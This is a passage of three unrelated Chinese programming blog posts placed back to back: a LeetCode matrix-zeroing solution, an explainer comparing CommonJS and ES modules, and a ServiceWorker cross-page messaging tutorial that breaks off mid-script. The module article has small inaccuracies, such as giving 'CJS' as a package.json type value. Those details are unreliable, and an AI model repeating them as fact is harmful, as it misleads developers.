所以,必须提前记录第一行和第一列是否原本就有 0


✅ 我的优化代码-标记法

/**
 * @param {number[][]} matrix
 * @return {void} Do not return anything, modify matrix in-place instead.
 */
var setZeroes = function(matrix) {
    let x = matrix.length;
    let y = matrix[0].length;

    // 用两个布尔值记录第一行/列是否原本有0
    let xZero = false;  // 实际表示:第一行是否有0
    let yZero = false;  // 实际表示:第一列是否有0

    // 检查第一列(所有 matrix[i][0])
    for (let i = 0; i < x; i++) {
        if (matrix[i][0] === 0) {
            yZero = true;
            break;
        }
    }

    // 检查第一行(所有 matrix[0][i])
    for (let i = 0; i < y; i++) {
        if (matrix[0][i] === 0) {
            xZero = true;
            break;
        }
    }

    // 用第一行/列作为标记区(从 [1][1] 开始)
    for (let i = 1; i < x; i++) {
        for (let j = 1; j < y; j++) {
            if (matrix[i][j] === 0) {
                matrix[i][0] = 0; // 标记该行
                matrix[0][j] = 0; // 标记该列
                // ⚠️ 注意:这里不能加 break!否则会漏掉同一行的多个0
            }
        }
    }

    // 根据标记置零(从 [1][1] 开始)
    for (let i = 1; i < x; i++) {
        for (let j = 1; j < y; j++) {
            if (matrix[0][j] === 0 || matrix[i][0] === 0) {
                matrix[i][j] = 0;
            }
        }
    }

    // 单独处理第一行
    if (xZero) {
        for (let i = 0; i < y; i++) {
            matrix[0][i] = 0;
        }
    }

    // 单独处理第一列
    if (yZero) {
        for (let i = 0; i < x; i++) {
            matrix[i][0] = 0;
        }
    }

    // 注意:题目要求 void,不要 return matrix(虽然JS不报错)
};

📌 说明:虽然我用 xZero 表示“第一行是否有0”、yZero 表示“第一列是否有0”,命名稍有反直觉,但逻辑是正确的。建议实际开发中改用 firstRowHasZero / firstColHasZero 提高可读性。


❗ 我踩过的关键 bug

在标记循环中加了 break

错误写法

if(matrix[i][j]===0) {
    matrix[0][j]=0;
    matrix[i][0]=0;
    break; // ← 错!
}

后果:一行中有多个 0 时,只标记第一个,后面的列不会被置零!

修复删除 break,让内层循环完整遍历。


🤔 为什么必须单独处理第一行和第一列?

这是本题的灵魂所在!

  • 我们借用第一行和第一列来存储“其他行列是否要清零”的信息。

  • 但它们自己也可能是“受害者”(原本就有 0)。

  • 如果不提前记录,最后无法判断:

    “这个 0 是用来标记别人的,还是自己需要被清零?”

因此,先扫描、再标记、最后统一处理,是唯一安全的做法。

就像借朋友的笔记本做笔记前,先拍照保存他原来写的内容,避免覆盖。


✅ 复杂度对比

方法 时间复杂度 空间复杂度 是否原地
暴力 Set O(mn) O(m + n)
原地标记法 O(mn) O(1)

💬 结语

通过这道题,我深刻体会到:

  • 原地算法的核心:巧妙复用已有空间,同时避免信息污染
  • 边界处理的重要性:第一行/列既是“工具”又是“数据”,必须特殊对待
  • 细节决定成败:一个多余的 break,就能让代码全盘皆错

希望我的踩坑经历能帮你少走弯路!如果你也有类似经历,欢迎在评论区分享~

LeetCode 不只是刷题,更是思维训练。
共勉!


深入理解 JavaScript 模块系统:CJS 与 ESM 的实现原理

你真的理解 requireimport 的区别吗?不只是语法不同,它们的加载时机、值的传递方式、循环依赖处理都截然不同。本文通过 require 源码和 ESM 规范,解释这些差异背后的实现机制,让你彻底搞懂 JavaScript 模块系统的运行原理。

模块化的演进

JavaScript 最初为浏览器脚本语言,没有模块系统。随着应用规模增长,全局变量污染和代码组织问题凸显,催生了模块化方案。

全局变量时代:所有代码共享全局作用域,变量冲突频发。

// 多个脚本容易产生命名冲突
var data = "script1";
var data = "script2"; // 覆盖前一个

IIFE 模式:利用函数作用域隔离变量。

var Module = (function () {
  var private = "private";
  return { public: "public" };
})();

CJS (2009):Node.js 采用,服务端模块规范。

AMD (2010):RequireJS 推广,浏览器异步加载方案。

ESM(2015):ECMAScript 官方标准,静态结构。

语法对比

CJS 语法

导出方式

// 1. module.exports 导出对象
module.exports = { name: "foo", version: "1.0" };

// 2. module.exports 导出函数
module.exports = function () {};

// 3. module.exports 导出类
module.exports = class MyClass {};

// 4. exports 添加属性(exports 是 module.exports 的引用)
exports.name = "foo";
exports.version = "1.0";

// 注意:直接赋值 exports 会断开引用
// exports = {} // ❌ 无效

导入方式

// 1. 导入整个模块
const module = require("./module");

// 2. 解构导入
const { name, version } = require("./module");

// 3. 动态路径(运行时计算)
const env = "production";
const config = require(`./config.${env}`);

// 4. 条件导入
if (condition) {
  const module = require("./module");
}

ESM 语法

导出方式

// 1. 命名导出 (Named Export)
export const name = 'foo';
export function fn() {}
export class MyClass {}

// 2. 批量命名导出
const name = 'foo';
const version = '1.0';
export { name, version };

// 3. 重命名导出
export { name as moduleName };

// 4. 默认导出 (Default Export) - 每个模块只能有一个
export default function() {}
// 或
export default class MyClass {}
// 或
export default { name: 'foo' };

// 5. 混合导出(命名 + 默认)
export const name = 'foo';
export default function() {}

// 6. 转发导出
export { name } from './other.js';
export * from './other.js';
export { default as otherDefault } from './other.js';

导入方式

// 1. 导入命名导出
import { name, version } from "./module.js";

// 2. 导入并重命名
import { name as moduleName } from "./module.js";

// 3. 导入默认导出
import MyModule from "./module.js";

// 4. 混合导入
import MyModule, { name, version } from "./module.js";

// 5. 导入所有命名导出为命名空间对象
import * as Module from "./module.js";

// 6. 仅执行模块
import "./module.js";

// 7. 动态导入(可在任意位置,返回 Promise)
const module = await import("./module.js");
// 或
if (condition) {
  import("./module.js").then((module) => {});
}

CJS 加载机制

CJS 是 Node.js 实现的模块系统。不同于语言层面的特性,CJS 是一个运行时概念,核心是 Node.js 内置的 require 函数。理解 require 的实现原理,有助于理解 CJS 的各种特性。

require 实现原理

require 函数负责加载模块,内部维护 require.cache 缓存对象。下面是简化的伪源码:

function require(modulePath) {
  // 1. 解析为绝对路径
  const absolutePath = require.resolve(modulePath);

  // 2. 检查缓存
  if (require.cache[absolutePath]) {
    return require.cache[absolutePath].exports;
  }

  // 3. 创建 Module 对象
  const module = {
    id: absolutePath,
    exports: {},
    loaded: false,
    // ... 其他属性
  };

  // 4. 提前放入缓存(处理循环依赖的关键)
  require.cache[absolutePath] = module;

  // 5. 读取文件内容
  const code = fs.readFileSync(absolutePath, "utf8");

  // 6. 包装为函数
  const wrapper = "(function (exports, require, module, __filename, __dirname) { " + code + "\n});";

  // 7. 编译并执行
  const compiledWrapper = vm.runInThisContext(wrapper);
  compiledWrapper.call(
    module.exports, // this 指向 exports
    module.exports, // 参数 1: exports
    require, // 参数 2: require
    module, // 参数 3: module
    absolutePath, // 参数 4: __filename
    path.dirname(absolutePath) // 参数 5: __dirname
  );

  // 8. 标记为已加载
  module.loaded = true;

  // 9. 返回 module.exports
  return module.exports;
}

// require.cache: 缓存对象
require.cache = {};

// require.resolve: 解析路径
require.resolve = function (modulePath) {
  // 解析算法:相对路径、绝对路径、node_modules 查找等
  return absolutePath;
};

从伪源码可以看出,require 做了这些事:解析路径、检查缓存、创建 Module 对象、提前放入缓存、包装并执行代码、返回 module.exports。这种设计带来了以下特性。

官方文档Node.js Modules: The module wrapper | Node.js Modules: require

同步执行,不支持 top-level await

从伪源码的第 5 步可以看到,require 使用 fs.readFileSync 同步读取文件,会阻塞代码直到模块加载完成。由于 CJS 模块代码被包装在普通函数中(非 async 函数),因此不支持 top-level await。

// module.js
console.log("module 执行");
module.exports = { name: "foo" };

// main.js
console.log("开始");
const mod = require("./module"); // 阻塞,等待 module.js 执行完成
console.log("结束", mod.name);

// 输出:
// 开始
// module 执行
// 结束 foo

// ❌ CJS 不支持 top-level await
// await someAsyncFunction(); // SyntaxError: await is only valid in async functions

值拷贝

伪源码的第 4 步将 Module 对象放入缓存,第 2 步检查缓存时直接返回 module.exports。这意味着所有 require 返回的是同一个对象引用。

// counter.js
let count = 0;
module.exports = {
  count: count, // 导出时 count 的值为 0
  increment() {
    count++;
  },
};

// main.js
const counter = require("./counter");
console.log(counter.count); // 0
counter.increment();
console.log(counter.count); // 0(对象属性未变,count 是模块内部变量)

// other.js
const counter2 = require("./counter");
console.log(counter === counter2); // true(同一个对象)

循环依赖处理

伪源码的关键设计是第 4 步:在模块代码执行前,就将 Module 对象放入缓存(此时 loaded: false)。这使得循环依赖时,后加载的模块能拿到前一个模块未完成的 exports

// a.js
console.log("a 开始");
exports.done = false;
const b = require("./b");
console.log("在 a 中,b.done =", b.done);
exports.done = true;
console.log("a 结束");

// b.js
console.log("b 开始");
exports.done = false;
const a = require("./a"); // 此时 a 未执行完,exports.done = false
console.log("在 b 中,a.done =", a.done);
exports.done = true;
console.log("b 结束");

// main.js
require("./a");

// 输出:
// a 开始
// b 开始
// 在 b 中,a.done = false
// b 结束
// 在 a 中,b.done = true
// a 结束

官方文档Node.js Modules: Cycles

不要重新赋值 exports

伪源码第 7 步执行包装函数时,将 module.exports 作为参数传入,赋值给 exports。这意味着 exports 只是 module.exports 的引用。一旦重新赋值 module.exports,引用关系就断开,之后修改 exports 就无法导出了。

// module.js
exports.name = "foo";
console.log(exports === module.exports); // true

module.exports = { version: "1.0" }; // 重新赋值
console.log(exports === module.exports); // false

exports.age = 18; // 无效,exports 已失效

// main.js
const mod = require("./module");
console.log(mod); // { version: '1.0' }

缓存清除与模块重载

由于 require.cache 是一个普通的 JavaScript 对象,可以通过删除缓存来强制重新加载模块。这在开发热重载等场景中很有用。

// module.js
console.log("模块执行");
module.exports = { timestamp: Date.now() };

// main.js
const mod1 = require("./module"); // 输出: 模块执行
console.log(mod1.timestamp);

// 删除缓存
delete require.cache[require.resolve("./module")];

const mod2 = require("./module"); // 再次输出: 模块执行
console.log(mod2.timestamp); // 不同的时间戳
console.log(mod1 === mod2); // false

官方文档Node.js Modules: require.cache

ESM 加载机制

ESM 是 ECMAScript 标准定义的模块系统,是语言层面的特性。不同于 CJS 的运行时加载,ESM 在代码执行前进行静态分析,确定模块依赖关系。

ESM 加载过程

ESM 的加载过程是将入口文件(entry point file)转换为模块实例(module instance)的过程。这个过程分为三个阶段:Construction(构建)、Instantiation(实例化)、Evaluation(求值)。

核心概念

Module Record(模块记录)

  • 文件被解析后生成的数据结构
  • 包含模块的 import/export 信息、代码等

Module Instance(模块实例)

  • 由代码(code)和状态(state)组成
  • 代码是指令集(如何做事的配方)
  • 状态是变量的实际值(存储在内存中)

Entry Point File(入口文件)

  • 模块图的起点
  • 浏览器通过 <script type="module" src="main.js"> 指定入口

阶段 1:Construction(构建)

查找、获取、解析文件,构建模块图。

graph TD
    A[入口文件 main.js] --> B[解析 import 语句]
    B --> C[找到依赖 counter.js]
    C --> D[获取 counter.js]
    D --> E[解析 counter.js]
    E --> F[递归处理所有依赖]
    F --> G[生成 Module Records]

关键点

  • Loader 负责查找和获取文件,浏览器和 Node 的 loader 不同
  • 解析时识别所有静态 import/export 声明
  • 逐层构建完整的模块依赖图
  • 动态 import() 不在此阶段处理

Module Map(模块映射)

  • Loader 使用 Module Map 缓存模块
  • 键是模块的唯一标识,值是 Module Record
  • 确保每个模块只被加载和解析一次
// Module Map 示例(概念)
{
  'https://example.com/main.js': ModuleRecord { ... },
  'https://example.com/counter.js': ModuleRecord { ... }
}

阶段 2:Instantiation(实例化)

在内存中为导出值分配空间,建立 import/export 的实时绑定(live bindings)。

graph TD
    A[遍历模块图] --> B[创建 Module Environment Record]
    B --> C[为 export 在内存中分配空间]
    C --> D[建立 import/export 的实时绑定]
    D --> E[验证所有 import 有对应的 export]

实时绑定(Live Bindings)

  • Export 和 import 指向内存中的同一个位置
  • 导出模块修改值,导入模块能看到变化
  • 与 CJS 的值拷贝不同
// counter.js
export let count = 0;
export function increment() {
  count++; // 修改 count
}

// main.js
import { count, increment } from "./counter.js";
console.log(count); // 0
increment();
console.log(count); // 1(实时绑定,看到了变化)

关键点

  • 此阶段只分配内存,不填充值
  • 导出的函数声明会在此阶段初始化
  • 使用深度优先后序遍历(depth-first post-order traversal)

阶段 3:Evaluation(求值)

执行模块的顶层代码(top-level code),填充内存中的值。

graph TD
    A[按依赖顺序执行模块] --> B[执行顶层代码]
    B --> C[填充导出值]
    C --> D{有副作用?}
    D -->|是| E[触发副作用<br>如网络请求]
    D -->|否| F[完成]
    E --> F

关键点

  • 顶层代码:函数外的代码
  • 每个模块只求值一次(Module Map 确保)
  • 可能产生副作用(side effects):网络请求、修改 DOM 等
  • 深度优先后序遍历:先求值依赖,再求值当前模块

浏览器和 Node.js 的 Construction 差异

ESM 的三阶段加载流程在浏览器和 Node.js 中是一致的,但在 Construction 阶段存在差异。Construction 包含两个过程:Module Resolution(模块解析,确定模块路径)和 Fetch(获取文件)。

浏览器

Module Resolution(模块解析):

浏览器使用完整的 URL 作为模块标识符。

<!-- 入口文件 -->
<script type="module" src="/main.js"></script>
// main.js - 必须使用相对路径或绝对路径
import { add } from "./math.js"; // ✅ 相对路径
import { config } from "/config.js"; // ✅ 绝对路径
import { api } from "https://cdn.example.com/api.js"; // ✅ 完整 URL

// ❌ 裸模块标识符(bare specifier)不支持
import { lodash } from "lodash"; // 报错:Failed to resolve module specifier

Import Maps:浏览器通过 Import Maps 支持裸模块标识符。

<script type="importmap">
  {
    "imports": {
      "lodash": "https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.js",
      "vue": "/node_modules/vue/dist/vue.esm-browser.js"
    }
  }
</script>

<script type="module">
  import _ from "lodash"; // ✅ 解析为 https://cdn.jsdelivr.net/npm/...
  import { createApp } from "vue"; // ✅ 解析为 /node_modules/vue/...
</script>

官方文档HTML Standard: Import maps

Fetch(获取文件):

  • 并行下载:浏览器会并行发起多个 HTTP 请求下载依赖模块
  • 阻塞行为:必须等所有依赖下载完才能进入 Instantiation 阶段
  • 非阻塞渲染<script type="module"> 默认具有 defer 特性,不会阻塞页面渲染
graph TD
    A[Module Resolution:<br/>解析模块路径] --> B[Fetch: 发起 HTTP 请求]
    B --> C[并行下载 a.js]
    B --> D[并行下载 b.js]
    B --> E[并行下载 c.js]
    C --> F[等待所有依赖下载完成]
    D --> F
    E --> F
    F --> G[进入 Instantiation 阶段]

Node.js

Module Resolution(模块解析):

Node.js 支持裸模块标识符,使用复杂的解析算法查找模块。

// Node.js 支持多种导入方式
import { readFile } from "fs"; // ✅ 内置模块
import express from "express"; // ✅ node_modules 查找
import { add } from "./math.js"; // ✅ 相对路径
import { config } from "/abs/path/config.js"; // ✅ 绝对路径

Node.js 的解析算法:

  1. 内置模块:如 fspath,直接返回
  2. 相对/绝对路径:按路径查找
  3. 裸模块标识符:从当前目录开始,逐层向上查找 node_modules
// 当前文件:/project/src/index.js
import express from "express";

// Node.js 查找顺序:
// 1. /project/src/node_modules/express
// 2. /project/node_modules/express
// 3. /node_modules/express

package.json 的 exports 字段

{
  "name": "my-package",
  "exports": {
    ".": "./dist/index.js",
    "./utils": "./dist/utils.js"
  }
}
import pkg from "my-package"; // 解析为 ./dist/index.js
import utils from "my-package/utils"; // 解析为 ./dist/utils.js

官方文档Node.js: Modules: Packages | Node.js: ECMAScript modules

Fetch(获取文件):

  • 同步读取:Node.js 使用同步 I/O 读取本地文件
  • 无网络延迟:读取本地文件速度快,但仍需等待所有依赖读取完
  • 性能影响:大量模块时文件 I/O 仍有性能影响
graph TD
    A[Module Resolution:<br/>解析模块路径] --> B[Fetch: 同步读取 a.js]
    B --> C[同步读取 b.js]
    C --> D[同步读取 c.js]
    D --> E[所有文件读取完成]
    E --> F[进入 Instantiation 阶段]

动态 import

ESM 提供两种导入方式:静态导入import 声明)和动态导入import() 函数)。

静态导入

静态导入在 Construction 阶段处理,必须在模块顶层使用。

// ✅ 顶层静态导入
import { add } from "./math.js";
import express from "express";

// ❌ 不能在代码块、函数、条件语句中使用
if (condition) {
  import { add } from "./math.js"; // SyntaxError
}

function loadModule() {
  import express from "express"; // SyntaxError
}

特点

  • 在代码执行前完成(Construction 阶段)
  • 支持静态分析:打包工具可进行 tree-shaking
  • 路径必须是静态字符串(不能是变量)
const path = './math.js';
import { add } from path;  // ❌ SyntaxError

动态导入 import()

import() 是一个返回 Promise 的函数,可在任意位置使用。

// ✅ 条件加载
if (condition) {
  const module = await import("./module.js");
}

// ✅ 函数内使用
async function loadModule() {
  const express = await import("express");
  return express.default;
}

// ✅ 动态路径
const env = "production";
const config = await import(`./config.${env}.js`);

// ✅ 按需加载(代码分割)
button.addEventListener("click", async () => {
  const { Chart } = await import("./chart.js");
  new Chart(data);
});

返回值:Module Namespace Object(模块命名空间对象)

// math.js
export const add = (a, b) => a + b;
export default function multiply(a, b) {
  return a * b;
}

// main.js
const module = await import("./math.js");
console.log(module);
// {
//   add: [Function: add],
//   default: [Function: multiply]
// }

module.add(1, 2); // 3
module.default(2, 3); // 6

静态导入 vs 动态导入

特性 静态导入 import 动态导入 import()
语法 声明语句 函数调用(返回 Promise)
使用位置 仅模块顶层 任意位置(函数、代码块等)
路径 必须是静态字符串 可以是动态表达式
执行时机 Construction 阶段 运行时(Evaluation 阶段)
Tree-shaking ✅ 支持 ❌ 不支持
条件加载 ❌ 不支持 ✅ 支持
返回值 直接绑定导出值 Promise

官方文档TC39: import()

静态结构

ESM 的 静态import/export 声明具有静态结构,在代码执行前就能确定模块依赖关系。这使得编译器和打包工具能在 Construction 阶段进行静态分析,带来诸多优化。

1. Tree-shaking(树摇优化)

打包工具能识别未使用的导出,移除死代码。

// utils.js
export function add(a, b) {
  return a + b;
}
export function subtract(a, b) {
  return a - b;
} // 未被使用
export function multiply(a, b) {
  return a * b;
} // 未被使用

// main.js
import { add } from "./utils.js";
console.log(add(1, 2));

// 打包后:subtract 和 multiply 被移除

2. 循环依赖检测

构建工具能在编译时检测循环依赖。

// a.js
import { b } from "./b.js";
export const a = 1;

// b.js
import { a } from "./a.js"; // 循环依赖
export const b = 2;

// 构建工具可在编译时发出警告

3. 导出验证

在 Instantiation 阶段验证所有导入是否有对应的导出。

// math.js
export const add = (a, b) => a + b;

// main.js
import { add, subtract } from "./math.js";
// 错误:Instantiation 阶段报错
// SyntaxError: The requested module './math.js' does not provide an export named 'subtract'

值实时绑定,不能在导入后被修改

ESM 的导出和导入建立实时绑定(Live Bindings):import 和 export 指向内存中的同一位置,导出模块修改值时,导入模块能实时看到变化。

// counter.js
export let count = 0;
export function increment() {
  count++;
}

// main.js
import { count, increment } from "./counter.js";

console.log(count); // 0
increment();
console.log(count); // 1 - 实时看到变化

// ❌ 导入的绑定是只读的
count = 10; // TypeError: Assignment to constant variable

原理:在 Instantiation 阶段,count 在内存中只有一份,import 和 export 都指向这个位置。

graph LR
    A[counter.js: export count] -->|指向| C[内存地址 0x1234]
    B[main.js: import count] -->|指向| C
    D[counter.js: increment 修改 count] -->|修改| C

官方文档TC39: Module Environment Records | Node.js: Modules: Cycles

循环依赖处理

ESM 通过实时绑定三阶段加载优雅地处理循环依赖。

// a.js
import { b } from "./b.js";
export let a = "a";
console.log("a.js:", b);

// b.js
import { a } from "./a.js";
export let b = "b";
console.log("b.js:", a); // ReferenceError: Cannot access 'a' before initialization

// main.js
import "./a.js";

执行流程

  1. Construction 阶段:构建模块图,main.jsa.jsb.js
  2. Instantiation 阶段
    • a.jsa 在内存中分配空间(未赋值)
    • b.jsb 在内存中分配空间(未赋值)
    • 建立实时绑定:a.js 的 import 绑定到 b.js 的 export,反之亦然
  3. Evaluation 阶段(深度优先后序遍历):
    • 先执行 b.js:此时 a 还未赋值,直接报错 Cannot access 'a' before initialization

关键点

  • Instantiation 阶段已建立所有绑定关系
  • Evaluation 阶段只是填充值
  • 实时绑定,并且被初始化后,才能访问到正确的值

支持 top-level await

ESM 支持在模块顶层直接使用 await,无需包裹在 async 函数中。CJS 模块被包装在普通函数中执行,不支持 top-level await。

// data.js
const response = await fetch("https://api.example.com/data");
export const data = await response.json();

// main.js
import { data } from "./data.js";
console.log(data); // 等待 data.js 完成后执行

执行时机

  • top-level await 在 Evaluation 阶段执行
  • 当前模块会暂停,等待 Promise 完成
  • 依赖当前模块的父模块也会等待
graph TD
    A[main.js: import data.js] --> B[Construction: 构建模块图]
    B --> C[Instantiation: 建立绑定]
    C --> D[Evaluation: 执行 data.js]
    D --> E[data.js: await fetch...]
    E --> F[暂停, 等待 Promise 完成]
    F --> G[Promise 完成, 继续执行]
    G --> H[data.js 完成]
    H --> I[执行 main.js]

使用场景

// 1. 动态加载配置
const config = await import(`./config.${process.env.NODE_ENV}.js`);
export default config;

// 2. 等待数据库连接
import mongoose from "mongoose";
await mongoose.connect(process.env.DB_URL);
export { mongoose };

// 3. 条件加载 polyfill
const locale = navigator.language;
if (!Intl.PluralRules) {
  await import(`https://cdn.example.com/polyfill/${locale}.js`);
}

注意事项

// ⚠️ 阻塞效应:所有依赖此模块的模块都会等待
// slow-module.js
await new Promise((resolve) => setTimeout(resolve, 5000));
export const value = "done";

// main.js
import { value } from "./slow-module.js"; // 等待 5 秒
console.log(value);

// ⚠️ 错误处理:未捕获的 Promise rejection 会导致模块加载失败
await fetch("https://invalid-url.com/data"); // 整个模块加载失败

常见问题

ESM 相比 CJS 有什么好处?

1. 静态分析,支持 Tree-shaking

ESM 的 import/export 在编译时就能确定依赖关系,打包工具可以移除未使用的代码,显著减小打包体积。CJS 的 require 是运行时调用,无法静态分析。

2. 原生支持,无需打包

ESM 是 ECMAScript 标准,浏览器和 Node.js 原生支持。CJS 需要打包工具(Webpack、Browserify)转换才能在浏览器运行。

3. 异步加载,不阻塞渲染

ESM 在浏览器中异步加载,不会阻塞页面渲染(<script type="module"> 默认 defer)。CJS 同步加载不适合浏览器。

4. 实时绑定,动态反映变化

ESM 的导入导出是实时绑定,导出模块修改值时,导入模块能立即看到变化。CJS 是值拷贝,看不到后续变化。

5. 支持 Top-level await

ESM 可以在模块顶层直接使用 await,适合异步初始化场景(如数据库连接、配置加载)。CJS 不支持。

6. 更好的循环依赖处理

ESM 通过实时绑定处理循环依赖,虽然访问未初始化变量会报错(TDZ),但更容易发现问题。CJS 返回未完成的 exports,容易产生难以调试的 bug。

7. 统一的模块标准

ESM 是浏览器和 Node.js 通用的标准,同一套代码可以跨平台运行,无需维护两套模块系统。

在 Node.js 中 CJS 和 ESM 能否互相引用?

ESM 引用 CJS:✅ 支持

ESM 可以通过 import 引用 CJS 模块,Node.js 会将 module.exports 作为默认导出。

CJS 引用 ESM:❌ 不支持同步引用

CJS 的 require 是同步的,无法加载异步的 ESM 模块。必须使用动态 import() 函数(返回 Promise)。

官方文档Node.js: Interoperability with CJS

Node 中如何判断一个 .js 文件是 CJS 还是 ESM?

Node.js 通过以下规则判断:

  1. 文件扩展名.mjs 文件是 ESM,.cjs 文件是 CJS
  2. package.json 的 type 字段
    • "type": "module".js 文件视为 ESM
    • "type": "CJS" 或无 type 字段:.js 文件视为 CJS(默认)
  3. 查找最近的 package.json:从当前文件向上查找最近的 package.json

官方文档Node.js: Determining module system

ESM 和 CJS 的差异

维度 CJS ESM
定位 Node.js 运行时模块系统 ECMAScript 语言标准
加载时机 运行时(同步) 编译时静态分析
语法 require / module.exports import / export
值的导出 值拷贝(快照) 实时绑定(引用)
循环依赖 返回未完成的 exports 通过实时绑定处理,访问未初始化会报错
Top-level await ❌ 不支持 ✅ 支持
Tree-shaking ❌ 不支持 ✅ 支持
动态导入 ✅ 原生支持(require 本身) 需使用 import() 函数

前端跨页面通讯终极指南⑦:ServiceWorker 用法全解析

前言

上一篇我们介绍了SharedWorker,今天要介绍一种与SharedWorker的“页面存活依赖”不同,即便在所有页面关闭后仍可后台运行,凭借“后台常驻”特性,实现跨页面、跨会话的通讯。它就是ServiceWorker

本文就带你了解下ServiceWorker ,看看是如何进行跨页面通讯。

1. ServiceWorker 是什么?

在聊通讯之前,我们先了解ServiceWorker的核心定位——它是一种独立于页面主线程的后台线程,由浏览器管理,具备以下关键特性:

  • 独立线程:运行在与页面完全隔离的线程中,不阻塞页面渲染,可执行网络请求、缓存管理等操作。
  • 后台常驻:注册成功后会在后台持续运行,即使所有关联页面关闭,仍能响应事件(如推送通知、网络请求)。
  • 同源限制:仅能控制与其注册页面同源的页面,且协议必须为HTTPS(本地开发可使用localhost例外)。
  • 事件驱动:通过监听installactivatemessage等事件实现功能逻辑,无DOM操作能力。

这些特性也是其实现跨页面通讯的基础,简单来说,ServiceWorker就像一个“驻留在浏览器中的微型服务端”,多个页面可通过它建立通讯连接,实现数据共享与消息传递,甚至在页面离线时完成特定交互。

2. ServiceWorker 是如何进行跨页面通讯

2.1 ServiceWorker 生命周期

注册 (Register)
    ↓
安装 (Install)
    ↓
激活 (Activate)
    ↓
运行 (Active)
    ↓
终止 (Terminated)

image.png

ServiceWorker的跨页面通讯核心是“中心化消息枢纽”模式,依托其“单例运行+多页面连接管理”的特性实现,具体流程可分为三个阶段:

  1. 注册与激活:首个页面通过navigator.serviceWorker.register()注册ServiceWorker脚本,浏览器启动后台线程并执行脚本,触发installactivate事件,此时ServiceWorker进入激活状态,具备通讯能力。
  2. 页面连接建立:每个页面在ServiceWorker激活后,可通过navigator.serviceWorker.controller获取激活的实例,或监听controllerchange事件确认连接,进而通过postMessage()建立消息通道。
  3. 消息分发与传递:ServiceWorker通过监听message事件接收任意页面的消息,可直接处理后反馈给发送页面,或通过clients.matchAll()获取所有连接的页面客户端,实现消息广播或点对点推送。

2.2 整体通讯架构

2.2.1 核心生命周期流程

image.png

2.2.2 关键流程详解

1. 页面连接注册流程

image.png

2. 消息路由分发流程

image.png

3. 广播与点对点消息流程

广播消息:页面发送消息后,ServiceWorker向所有连接的客户端推送;点对点消息:精准定位目标页面ID,仅向指定客户端发送。

广播:

image.png

点对点:

image.png

4. 数据结构设计

使用Map存储客户端连接信息,确保页面ID与客户端实例的快速映射,支持高效的增删改查操作。

┌─────────────────────────────────────────────────────────────────┐
│  connections: Map<string, ClientInfo>                           │
│  ──────────────────────────────────────                         │
│                                                                   │
│  结构示例:                                                       │
│  ┌───────────┬──────────────────────────────┐                   │
│  │    Key    │           Value              │                   │
│  ├───────────┼──────────────────────────────┤                   │
│  │ 'page-123'│ {                            │                   │
│  │           │   client: Client对象,        │                   │
│  │           │   id: 'client-abc123',       │                   │
│  │           │   pageId: 'page-123',        │                   │
│  │           │   lastActive: 1699999999999  │                   │
│  │           │ }                            │                   │
│  ├───────────┼──────────────────────────────┤                   │
│  │ 'page-456'│ {                            │                   │
│  │           │   client: Client对象,        │                   │
│  │           │   id: 'client-xyz789',       │                   │
│  │           │   pageId: 'page-456',        │                   │
│  │           │   lastActive: 1699999999999  │                   │
│  │           │ }                            │                   │
│  └───────────┴──────────────────────────────┘                   │
│                                                                   │
│  核心作用:保存client.id便于通过clients.matchAll()快速匹配目标    │
│                                                                   │
└─────────────────────────────────────────────────────────────────┘

3. 实践案例

ServiceWorker的通讯实现需区分“ServiceWorker脚本”(后台逻辑)和“页面脚本”(前端交互)两部分。

实现需求:同一域名下的pageA、pageB两个页面,通过ServiceWorker实现“点对点消息”和“全局广播消息”两种通讯模式。

3.1 步骤1:编写ServiceWorker核心脚本(sw.js)

该脚本负责监听页面连接、接收消息并实现分发逻辑,核心是通过clients对象管理所有连接的页面客户端。

整合注册管理、消息分发、连接清理等核心功能,支持注册、广播、点对点、心跳检测。

// Service Worker 跨页面通信脚本

// 存储所有连接的页面客户端(使用 Map,key 是 pageId,value 是 client)
const connections = new Map();

console.log('Service Worker 已加载');

// 安装事件
self.addEventListener('install', (event) => {
    console.log('Service Worker 安装中...');
    // 跳过等待,立即激活
    self.skipWaiting();
});

// 激活事件
self.addEventListener('activate', (event) => {
    console.log('Service Worker 已激活');
    // 立即控制所有页面
    event.waitUntil(self.clients.claim());
});

// 监听来自页面的消息
self.addEventListener('message', async (event) => {
    console.log('Service Worker 收到消息:', event.data);

    const { type, pageId, target, data } = event.data;
    const client = event.source;

    // 0. 处理注册消息
    if (type === 'register') {
        // 保存客户端连接
        connections.set(pageId, {
            client: client,
            id: client.id,
            pageId: pageId
        });

        console.log(`页面 ${pageId} 已注册,当前在线:[${Array.from(connections.keys()).join(', ')}]`);

        // 发送注册成功消息
        client.postMessage({
            type: 'registered',
            from: 'ServiceWorker',
            data: `注册成功,当前在线 ${connections.size} 个页面`
        });
        return;
    }

    // 1. 处理广播消息
    if (type === 'broadcast') {
        console.log(`广播消息给 ${connections.size} 个连接`);

        // 获取所有客户端(包括未注册的)
        const allClients = await self.clients.matchAll({
            type: 'window',
            includeUncontrolled: true
        });

        // 遍历所有客户端发送消息
        allClients.forEach((client) => {
            try {
                client.postMessage({
                    type: 'broadcast',
                    from: 'ServiceWorker',
                    sender: pageId,
                    data: `广播消息:${data}`
                });
            } catch (e) {
                console.error('发送失败:', e);
            }
        });
    }

    // 2. 处理点对点消息
    if (type === 'private') {
        console.log(`私发消息给 ${target},当前连接:[${Array.from(connections.keys()).join(', ')}]`);

        if (connections.has(target)) {
            const targetConn = connections.get(target);

            try {
                // 通过 client ID 查找目标客户端
                const allClients = await self.clients.matchAll({
                    type: 'window',
                    includeUncontrolled: true
                });

                const targetClient = allClients.find(c => c.id === targetConn.id);

                if (targetClient) {
                    targetClient.postMessage({
                        type: 'private',
                        from: 'ServiceWorker',
                        sender: pageId,
                        data: `私发消息:${data}`
                    });
                } else {
                    console.log(`警告:客户端 ${target} 已断开`);
                    connections.delete(target);
                }
            } catch (e) {
                console.error('发送失败:', e);
                connections.delete(target);
            }
        } else {
            console.log(`警告:未找到目标页面 ${target}`);
        }
    }

    // 3. 处理心跳检测(用于清理断开的连接)
    if (type === 'heartbeat') {
        // 更新最后活跃时间
        if (connections.has(pageId)) {
            const conn = connections.get(pageId);
            conn.lastActive = Date.now();
            connections.set(pageId, conn);
        }
    }

    // 4. 处理断开连接
    if (type === 'disconnect') {
        connections.delete(pageId);
        console.log(`页面 ${pageId} 断开连接,当前在线:[${Array.from(connections.keys()).join(', ')}]`);
    }

    // 5. 获取在线列表
    if (type === 'get-online') {
        client.postMessage({
            type: 'online-list',
            from: 'ServiceWorker',
            data: Array.from(connections.keys())
        });
    }
